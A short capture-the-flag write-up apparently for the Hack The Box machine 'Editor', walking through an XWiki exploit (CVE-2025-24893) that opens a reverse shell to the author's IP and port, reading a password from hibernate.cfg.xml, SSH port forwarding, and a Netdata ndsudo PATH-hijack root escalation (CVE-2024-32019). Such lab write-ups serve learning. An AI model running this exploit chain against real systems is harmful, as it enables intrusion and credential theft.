Sitemap

Editor

3 min readAug 7, 2025

Nmap scan:

Press enter or click to view image in full size

Ports discovered: 22, 80, 8080

The next step was to add the machine’s IP address to my hosts folder (/etc/hosts)

I connected to port 8080 that was discovered by going to ‘editor.htb:8080’

I discovered an XWIKI page

XWIKI Debian 15.0.8 being used

Press enter or click to view image in full size

After trying multiple exploits I finally found one that was successful

Exploit used: CVE-2025–24893

Press enter or click to view image in full size

I used the following command to run the exploit ‘python3 exploit.py editor.htb:8080 ‘LOCAL IP’ ‘PORT’’

Press enter or click to view image in full size

If successful you should receive a shell

Found an interesting file located in ‘/usr/lib/xwiki/WEB-INF’

Press enter or click to view image in full size

I found a password

Press enter or click to view image in full size

We now begin connecting via ssh to the user Oliver that was discovered during the enumeration phase and the password that was found within the hibernate.cfg.xml

Get Brian’s stories in your inbox

Join Medium for free to get updates from this writer.

SSH was successful and we acquired the user.txt flag

I begin enumerating Oliver's account using linpeas

Port 19999 stands out so I use the following port forwarding command to connect to it:

‘ssh -L 19999:127.0.0.1:19999 oliver@editor.htb’

Press enter or click to view image in full size

Once the port forwarding command is initiated, you can connect to the host with ‘localhost:19999’

Once connected to the Netdata agent console, you can see a red banner at the top. Once you click the banner you are shown a version which needs updating

Press enter or click to view image in full size

After researching, I found the following exploit

Exploit used: CVE-2024–32019

Press enter or click to view image in full size

I downloaded the exploit and complied it with the following command:

‘gcc -o nvme exploit.c’

After I finished compiling the exploit I transferred the exploit to the target machine. Specifically the tmp folder.

Once it has been successfully transferred, you will use the following command to gain root access:

‘export PATH=/tmp:$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list’

With that command we gain root access

Press enter or click to view image in full size